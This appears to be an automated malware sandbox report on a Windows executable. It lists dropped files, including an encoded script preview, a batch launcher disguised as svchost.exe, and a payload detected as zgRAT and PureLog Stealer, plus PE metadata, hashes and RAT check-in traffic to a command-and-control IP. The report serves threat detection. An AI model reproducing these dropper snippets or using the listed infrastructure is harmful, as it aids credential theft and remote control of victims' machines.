                                                                      SHA-256:C11F12CF1717FAA96FA52BDB3160477D226C0FCC96389EDFFCF62DD6F15F7D1E
                                                                      SHA-512:AF7CAD203C71C4E511AED129E0361C9BA4DA147033844380BB5C99ABCE49585FA75F5E684F15869CE985DBBE5F5314BF10BBCCA03207B28A329ACE4139EC6FFC
                                                                      Malicious:true
                                                                      Antivirus:
                                                                      • Antivirus: Avira, Detection: 100%
                                                                      Preview:#@~^rgAAAA==j.Y~q/4?t.V^~',Z.+mYn6(L+1O`r.?1.rwDRUtnVsE*@#@&.U^DbwO UV+n2v*T!Zb@#@&j.Y,./4?4nV^PxP;DnCD+r(%+1Y`r.jmMkaY ?4n^VE#@#@&.ktj4.VV ]!x~J;lJmGsD.0zJN(/MySuj;.qVz99c8lDJ~,TSP6l^/nvDUAAA==^#~@.

                                                                      C:\comref\dbCG2LHUCV1kAJJ.bat

                                                                      Download File
                                                                      Process:C:\Users\user\Desktop\ugRGgCJhQl.exe
                                                                      File Type:ASCII text, with CRLF line terminators
                                                                      Category:dropped
                                                                      Size (bytes):54
                                                                      Entropy (8bit):4.814982178049331
                                                                      Encrypted:false
                                                                      SSDEEP:3:oOvSRAHo5dHwNXACmk3QA:oOs1wCkgA
                                                                      MD5:50B2176064C455B98B975CC028C457C5
                                                                      SHA1:0816A09D11D36B4A503668A8111119BBAC598673
                                                                      SHA-256:3C988BD616020AD6D3C66467AE7394C44FD28BBF60B7ECAE21D375719DB04C06
                                                                      SHA-512:F53F3263D48CF8094C5F774AA5138A39B10594EFED4B3569652ABE13247FF72B512CBC7E1A91B990518C118FF4954975D150B03BDC5528A12CBA87AF9255524E
                                                                      Malicious:true
                                                                      Preview:%TfFktCR%%kwY%..%ZOyQVy%"C:\comref/svchost.exe"%FADDu%

                                                                      C:\comref\svchost.exe

                                                                      Download File
                                                                      Process:C:\Users\user\Desktop\ugRGgCJhQl.exe
                                                                      File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                      Category:dropped
                                                                      Size (bytes):1974272
                                                                      Entropy (8bit):7.554319914411014
                                                                      Encrypted:false
                                                                      SSDEEP:49152:Xcql3qzKdi2mcnaKgkxueaRFuNZWYUshMtQd:XcqlO2mRKg+mwhhS
                                                                      MD5:5FF0CC76B0A007E57397479E5FE854B6
                                                                      SHA1:2DA3CA539F2A69CB44B5BE7118ED4B5D463960A5
                                                                      SHA-256:4680E30E6308E3DE983503541F05F158FE6BCAF71BDF6462959999F1AA7FD3F4
                                                                      SHA-512:377A049587FCBF762429333B2FA1AEB29893279778EC73C99B47A5722617F57BC588A53EBE852600C7CEB61307809317437CF9DCCED0A9738A1ABDD7BADBD58B
                                                                      Malicious:true
                                                                      Yara Hits:
                                                                      • Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\comref\svchost.exe, Author: Joe Security
                                                                      • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\comref\svchost.exe, Author: Joe Security
                                                                      Antivirus:
                                                                      • Antivirus: Avira, Detection: 100%
                                                                      • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                      • Antivirus: ReversingLabs, Detection: 71%
                                                                      • Antivirus: Virustotal, Detection: 75%, Browse
                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e............................>7... ...@....@.. ....................................@..................................6..K....@..p....................`....................................................... ............... ..H............text...D.... ...................... ..`.rsrc...p....@......................@....reloc.......`......................@..B................ 7......H...................r...h....M..c6.......................................0..........(.... ........8........E....\...8.......)...8W...(.... ....~....{....:....& ....8....(.... ....8....(.... ....~....{....:....& ....8....*....0.......... ........8........E....\.......l...............8W...r...ps....z*~....(W... .... .... ....s....~....([....... ....~....{....9....& ....8.......... ....8w.......~....(_...~....(c... ....<w... ....8K...~....:n... ....~....{....:-...& ....8"...8J..

                                                                      Static File Info

                                                                      General

                                                                      File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                      Entropy (8bit):7.491839047276129
                                                                      TrID:
                                                                      • Win32 Executable (generic) Net Framework (10011505/4) 50.01%
                                                                      • Win32 Executable (generic) a (10002005/4) 49.97%
                                                                      • Generic Win/DOS Executable (2004/3) 0.01%
                                                                      • DOS Executable Generic (2002/1) 0.01%
                                                                      • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                                                      File name:ugRGgCJhQl.exe
                                                                      File size:2'295'916 bytes
                                                                      MD5:92949dd923e8e88c697092b5311c7d95
                                                                      SHA1:cb61d5772f5e07467734af1c151e831ff225ea17
                                                                      SHA256:b7d005d2dee9456e5fbdb5f7d46a7275a9c7000ec6cbf982eee58897f88fa4c8
                                                                      SHA512:a29b71a960529cbbbecd8050dfe1264e6cfccafbbe08fe575740eb50a1eb37c2c840db2a4fe1cc66b3a2fd2a5cfb5388d3adae2b6cb2add29c15f3ac87f0ed25
                                                                      SSDEEP:49152:IBJGcql3qzKdi2mcnaKgkxueaRFuNZWYUshMtQd0:yIcqlO2mRKg+mwhhSN
                                                                      TLSH:60B5CF06EDA28E32C1A13F3684DB142E52F1DB21BA12EF0B762F10D5AC15175EE572F6
                                                                      File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......x_c.<>..<>..<>......1>.......>......$>...I..>>...I../>...I..+>...I...>..5F..7>..5F..;>..<>..)?...I...>...I..=>...I..=>...I..=>.

                                                                      File Icon

                                                                      Icon Hash:1515d4d4442f2d2d

                                                                      Static PE Info

                                                                      General

                                                                      Entrypoint:0x41f530
                                                                      Entrypoint Section:.text
                                                                      Digitally signed:false
                                                                      Imagebase:0x400000
                                                                      Subsystem:windows gui
                                                                      Image File Characteristics:EXECUTABLE_IMAGE, 32BIT_MACHINE
                                                                      DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
                                                                      Time Stamp:0x6220BF8D [Thu Mar 3 13:15:57 2022 UTC]
                                                                      TLS Callbacks:
                                                                      CLR (.Net) Version:
                                                                      OS Version Major:5
                                                                      OS Version Minor:1
                                                                      File Version Major:5
                                                                      File Version Minor:1
                                                                      Subsystem Version Major:5
                                                                      Subsystem Version Minor:1
                                                                      Import Hash:12e12319f1029ec4f8fcbed7e82df162

                                                                      Entrypoint Preview

                                                                      Instruction
                                                                      call 00007FD098C98B7Bh
                                                                      jmp 00007FD098C9848Dh
                                                                      int3
                                                                      int3
                                                                      int3
                                                                      int3
                                                                      int3
                                                                      int3
                                                                      push ebp
                                                                      mov ebp, esp
                                                                      push esi
                                                                      push dword ptr [ebp+08h]
                                                                      mov esi, ecx
                                                                      call 00007FD098C8B2D7h
                                                                      mov dword ptr [esi], 004356D0h
                                                                      mov eax, esi
                                                                      pop esi
                                                                      pop ebp
                                                                      retn 0004h
                                                                      and dword ptr [ecx+04h], 00000000h
                                                                      mov eax, ecx
                                                                      and dword ptr [ecx+08h], 00000000h
                                                                      mov dword ptr [ecx+04h], 004356D8h
                                                                      mov dword ptr [ecx], 004356D0h
                                                                      ret
                                                                      int3
                                                                      int3
                                                                      int3
                                                                      int3
                                                                      int3
                                                                      int3
                                                                      int3
                                                                      int3
                                                                      int3
                                                                      int3
                                                                      int3
                                                                      int3
                                                                      int3
                                                                      push ebp
                                                                      mov ebp, esp
                                                                      push esi
                                                                      mov esi, ecx
                                                                      lea eax, dword ptr [esi+04h]
                                                                      mov dword ptr [esi], 004356B8h
                                                                      push eax
                                                                      call 00007FD098C9B91Fh
                                                                      test byte ptr [ebp+08h], 00000001h
                                                                      pop ecx
                                                                      je 00007FD098C9861Ch
                                                                      push 0000000Ch
                                                                      push esi
                                                                      call 00007FD098C97BD9h
                                                                      pop ecx
                                                                      pop ecx
                                                                      mov eax, esi
                                                                      pop esi
                                                                      pop ebp
                                                                      retn 0004h
                                                                      push ebp
                                                                      mov ebp, esp
                                                                      sub esp, 0Ch
                                                                      lea ecx, dword ptr [ebp-0Ch]
                                                                      call 00007FD098C8B252h
                                                                      push 0043BEF0h
                                                                      lea eax, dword ptr [ebp-0Ch]
                                                                      push eax
                                                                      call 00007FD098C9B3D9h
                                                                      int3
                                                                      push ebp
                                                                      mov ebp, esp
                                                                      sub esp, 0Ch
                                                                      lea ecx, dword ptr [ebp-0Ch]
                                                                      call 00007FD098C98598h
                                                                      push 0043C0F4h
                                                                      lea eax, dword ptr [ebp-0Ch]
                                                                      push eax
                                                                      call 00007FD098C9B3BCh
                                                                      int3
                                                                      jmp 00007FD098C9CE57h
                                                                      int3
                                                                      int3
                                                                      int3
                                                                      int3
                                                                      push 00422900h
                                                                      push dword ptr fs:[00000000h]

                                                                      Rich Headers

                                                                      Programming Language:
                                                                      • [ C ] VS2008 SP1 build 30729
                                                                      • [IMP] VS2008 SP1 build 30729

                                                                      Data Directories

                                                                      NameVirtual AddressVirtual Size Is in Section
                                                                      IMAGE_DIRECTORY_ENTRY_EXPORT0x3d0700x34.rdata
                                                                      IMAGE_DIRECTORY_ENTRY_IMPORT0x3d0a40x50.rdata
                                                                      IMAGE_DIRECTORY_ENTRY_RESOURCE0x640000xdff8.rsrc
                                                                      IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                      IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                      IMAGE_DIRECTORY_ENTRY_BASERELOC0x720000x233c.reloc
                                                                      IMAGE_DIRECTORY_ENTRY_DEBUG0x3b11c0x54.rdata
                                                                      IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                      IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                      IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                      IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x355f80x40.rdata
                                                                      IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                      IMAGE_DIRECTORY_ENTRY_IAT0x330000x278.rdata
                                                                      IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x3c5ec0x120.rdata
                                                                      IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                      IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                      Sections

                                                                      NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                      .text0x10000x31bdc0x31c002831bb8b11e3209658a53131886cdf98False0.5909380888819096data6.712962136932442IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                      .rdata0x330000xaec00xb000042f11346230ca5aa360727d9908e809False0.4579190340909091data5.261605615899847IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                      .data0x3e0000x247200x10009670b581969e508258d8bc903025de5eFalse0.451416015625data4.387459135575936IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                      .didat0x630000x1900x200c83554035c63bb446c6208d0c8fa0256False0.4453125data3.3327310103022305IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                      .rsrc0x640000xdff80xe000ba08fbcd0ed7d9e6a268d75148d9914bFalse0.6373639787946429data6.638661032196024IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                      .reloc0x720000x233c0x240040b5e17755fd6fdd34de06e5cdb7f711False0.7749565972222222data6.623012966548067IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                      Resources

                                                                      NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                      PNG0x646500xb45PNG image data, 93 x 302, 8-bit/color RGB, non-interlacedEnglishUnited States1.0027729636048528
                                                                      PNG0x651980x15a9PNG image data, 186 x 604, 8-bit/color RGB, non-interlacedEnglishUnited States0.9363390441839495
                                                                      RT_ICON0x667480x568Device independent bitmap graphic, 16 x 32 x 8, image size 256, resolution 2834 x 2834 px/m, 256 important colorsEnglishUnited States0.47832369942196534
                                                                      RT_ICON0x66cb00x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 1024, resolution 2834 x 2834 px/m, 256 important colorsEnglishUnited States0.5410649819494585
                                                                      RT_ICON0x675580xea8Device independent bitmap graphic, 48 x 96 x 8, image size 2304, resolution 2834 x 2834 px/m, 256 important colorsEnglishUnited States0.4933368869936034
                                                                      RT_ICON0x684000x468Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 2834 x 2834 px/mEnglishUnited States0.5390070921985816
                                                                      RT_ICON0x688680x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 2834 x 2834 px/mEnglishUnited States0.41393058161350843
                                                                      RT_ICON0x699100x25a8Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 2834 x 2834 px/mEnglishUnited States0.3479253112033195
                                                                      RT_ICON0x6beb80x3d71PNG image data, 256 x 256, 8-bit/color RGBA, non-interlacedEnglishUnited States0.9809269502193401
                                                                      RT_DIALOG0x705880x286dataEnglishUnited States0.5092879256965944
                                                                      RT_DIALOG0x703580x13adataEnglishUnited States0.60828025477707
                                                                      RT_DIALOG0x704980xecdataEnglishUnited States0.6991525423728814
                                                                      RT_DIALOG0x702280x12edataEnglishUnited States0.5927152317880795
                                                                      RT_DIALOG0x6fef00x338dataEnglishUnited States0.45145631067961167
                                                                      RT_DIALOG0x6fc980x252dataEnglishUnited States0.5757575757575758
                                                                      RT_STRING0x70f680x1e2dataEnglishUnited States0.3900414937759336
                                                                      RT_STRING0x711500x1ccdataEnglishUnited States0.4282608695652174
                                                                      RT_STRING0x713200x1b8dataEnglishUnited States0.45681818181818185
                                                                      RT_STRING0x714d80x146dataEnglishUnited States0.5153374233128835
                                                                      RT_STRING0x716200x46cdataEnglishUnited States0.3454063604240283
                                                                      RT_STRING0x71a900x166dataEnglishUnited States0.49162011173184356
                                                                      RT_STRING0x71bf80x152dataEnglishUnited States0.5059171597633136
                                                                      RT_STRING0x71d500x10adataEnglishUnited States0.49624060150375937
                                                                      RT_STRING0x71e600xbcdataEnglishUnited States0.6329787234042553
                                                                      RT_STRING0x71f200xd6dataEnglishUnited States0.5747663551401869
                                                                      RT_GROUP_ICON0x6fc300x68dataEnglishUnited States0.7019230769230769
                                                                      RT_MANIFEST0x708100x753XML 1.0 document, ASCII text, with CRLF line terminatorsEnglishUnited States0.3957333333333333

                                                                      Imports

                                                                      DLLImport
                                                                      KERNEL32.dllGetLastError, SetLastError, FormatMessageW, GetCurrentProcess, DeviceIoControl, SetFileTime, CloseHandle, CreateDirectoryW, RemoveDirectoryW, CreateFileW, DeleteFileW, CreateHardLinkW, GetShortPathNameW, GetLongPathNameW, MoveFileW, GetFileType, GetStdHandle, WriteFile, ReadFile, FlushFileBuffers, SetEndOfFile, SetFilePointer, SetFileAttributesW, GetFileAttributesW, FindClose, FindFirstFileW, FindNextFileW, InterlockedDecrement, GetVersionExW, GetCurrentDirectoryW, GetFullPathNameW, FoldStringW, GetModuleFileNameW, GetModuleHandleW, FindResourceW, FreeLibrary, GetProcAddress, GetCurrentProcessId, ExitProcess, SetThreadExecutionState, Sleep, LoadLibraryW, GetSystemDirectoryW, CompareStringW, AllocConsole, FreeConsole, AttachConsole, WriteConsoleW, GetProcessAffinityMask, CreateThread, SetThreadPriority, InitializeCriticalSection, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, SetEvent, ResetEvent, ReleaseSemaphore, WaitForSingleObject, CreateEventW, CreateSemaphoreW, GetSystemTime, SystemTimeToTzSpecificLocalTime, TzSpecificLocalTimeToSystemTime, SystemTimeToFileTime, FileTimeToLocalFileTime, LocalFileTimeToFileTime, FileTimeToSystemTime, GetCPInfo, IsDBCSLeadByte, MultiByteToWideChar, WideCharToMultiByte, GlobalAlloc, LockResource, GlobalLock, GlobalUnlock, GlobalFree, LoadResource, SizeofResource, SetCurrentDirectoryW, GetExitCodeProcess, GetLocalTime, GetTickCount, MapViewOfFile, UnmapViewOfFile, CreateFileMappingW, OpenFileMappingW, GetCommandLineW, SetEnvironmentVariableW, ExpandEnvironmentStringsW, GetTempPathW, MoveFileExW, GetLocaleInfoW, GetTimeFormatW, GetDateFormatW, GetNumberFormatW, DecodePointer, SetFilePointerEx, GetConsoleMode, GetConsoleCP, HeapSize, SetStdHandle, GetProcessHeap, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineA, GetOEMCP, RaiseException, GetSystemInfo, VirtualProtect, VirtualQuery, LoadLibraryExA, IsProcessorFeaturePresent, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, QueryPerformanceCounter, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, TerminateProcess, LocalFree, RtlUnwind, EncodePointer, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, QueryPerformanceFrequency, GetModuleHandleExW, GetModuleFileNameA, GetACP, HeapFree, HeapAlloc, HeapReAlloc, GetStringTypeW, LCMapStringW, FindFirstFileExA, FindNextFileA, IsValidCodePage
                                                                      OLEAUT32.dllSysAllocString, SysFreeString, VariantClear
                                                                      gdiplus.dllGdipAlloc, GdipDisposeImage, GdipCloneImage, GdipCreateBitmapFromStream, GdipCreateBitmapFromStreamICM, GdipCreateHBITMAPFromBitmap, GdiplusStartup, GdiplusShutdown, GdipFree

                                                                      Possible Origin

                                                                      Language of compilation systemCountry where language is spokenMap
                                                                      EnglishUnited States

                                                                      Network Behavior

                                                                      Suricata IDS Alerts

                                                                      TimestampProtocolSIDSignatureSeveritySource PortDest PortSource IPDest IP
                                                                      2024-08-28T11:17:17.112230+0200TCP2048095ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)14970880192.168.2.7185.106.93.197

                                                                      Network Port Distribution

                                                                      TCP Packets

                                                                      TimestampSource PortDest PortSource IPDest IP
                                                                      Aug 28, 2024 11:17:16.378952980 CEST4970880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:16.383940935 CEST8049708185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:16.384023905 CEST4970880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:16.385152102 CEST4970880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:16.389955997 CEST8049708185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:16.737906933 CEST4970880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:16.748780012 CEST8049708185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:17.071170092 CEST8049708185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:17.112230062 CEST4970880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:17.237724066 CEST8049708185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:17.237739086 CEST8049708185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:17.237798929 CEST4970880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:17.281449080 CEST4970880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:17.286533117 CEST8049708185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:17.438693047 CEST4970980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:17.443634987 CEST8049709185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:17.443831921 CEST4970980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:17.443831921 CEST4970980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:17.449291945 CEST8049709185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:17.493315935 CEST8049708185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:17.493779898 CEST4970880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:17.501636028 CEST8049708185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:17.716674089 CEST8049708185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:17.749490976 CEST4970880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:17.756516933 CEST8049708185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:17.799916029 CEST4970980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:17.805227041 CEST8049709185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:17.805242062 CEST8049709185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:17.805253029 CEST8049709185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:17.970599890 CEST8049708185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:17.970833063 CEST4970880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:17.975657940 CEST8049708185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:17.975840092 CEST8049708185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:18.130306959 CEST8049709185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:18.177234888 CEST4970980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:18.268723011 CEST8049709185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:18.317143917 CEST4970980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:18.375324011 CEST8049708185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:18.424774885 CEST4970880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:18.736295938 CEST4970880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:18.736418009 CEST4970980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:18.740602016 CEST4971080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:18.741416931 CEST8049708185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:18.741475105 CEST4970880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:18.741687059 CEST8049709185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:18.741744041 CEST4970980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:18.745443106 CEST8049710185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:18.745516062 CEST4971080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:18.745690107 CEST4971080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:18.750469923 CEST8049710185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:19.096940994 CEST4971080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:19.101913929 CEST8049710185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:19.102575064 CEST8049710185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:19.102612019 CEST8049710185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:19.405234098 CEST8049710185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:19.456024885 CEST4971080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:19.536516905 CEST8049710185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:19.537679911 CEST4971080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:19.542717934 CEST8049710185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:19.542768955 CEST4971080192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:19.743866920 CEST4971180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:19.752535105 CEST8049711185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:19.752645969 CEST4971180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:19.752758980 CEST4971180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:19.758157015 CEST8049711185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:20.096744061 CEST4971180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:20.109169006 CEST8049711185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:20.109181881 CEST8049711185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:20.109190941 CEST8049711185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:20.468700886 CEST8049711185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:20.596633911 CEST4971180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:20.598416090 CEST8049711185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:20.799760103 CEST4971180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:21.031644106 CEST4971180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:21.031964064 CEST4971580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:21.036815882 CEST8049715185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:21.036922932 CEST4971580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:21.037096977 CEST4971580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:21.037184000 CEST8049711185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:21.037235022 CEST4971180192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:21.041915894 CEST8049715185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:21.393640041 CEST4971580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:21.401011944 CEST8049715185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:21.401025057 CEST8049715185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:21.401032925 CEST8049715185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:21.727546930 CEST8049715185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:21.799848080 CEST4971580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:21.852617025 CEST8049715185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:22.002887011 CEST4971580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:22.262571096 CEST4971580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:22.269952059 CEST8049715185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:22.270071030 CEST4971580192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:22.351166964 CEST4971880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:22.356240034 CEST8049718185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:22.356342077 CEST4971880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:22.356537104 CEST4971880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:22.361422062 CEST8049718185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:22.711538076 CEST4971880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:22.716556072 CEST8049718185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:22.716571093 CEST8049718185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:22.716582060 CEST8049718185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:23.031441927 CEST8049718185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:23.081047058 CEST4971880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:23.156459093 CEST8049718185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:23.284246922 CEST4971880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:23.515753984 CEST4971980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:23.515851021 CEST4971880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:23.520751953 CEST8049719185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:23.521141052 CEST8049718185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:23.521267891 CEST4971880192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:23.521380901 CEST4971980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:23.521380901 CEST4971980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:23.526268005 CEST8049719185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:23.878211021 CEST4971980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:23.883315086 CEST8049719185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:23.883331060 CEST8049719185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:24.235601902 CEST8049719185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:24.277635098 CEST4971980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:24.365592957 CEST8049719185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:24.577871084 CEST8049719185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:24.577986956 CEST4971980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:26.776782990 CEST4971980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:26.777051926 CEST4972380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:26.782941103 CEST8049723185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:26.782953024 CEST8049719185.106.93.197192.168.2.7
                                                                      Aug 28, 2024 11:17:26.783036947 CEST4971980192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:26.783047915 CEST4972380192.168.2.7185.106.93.197
                                                                      Aug 28, 2024 11:17:26.783189058 CEST4972380192.168.2.7185.106.93.197
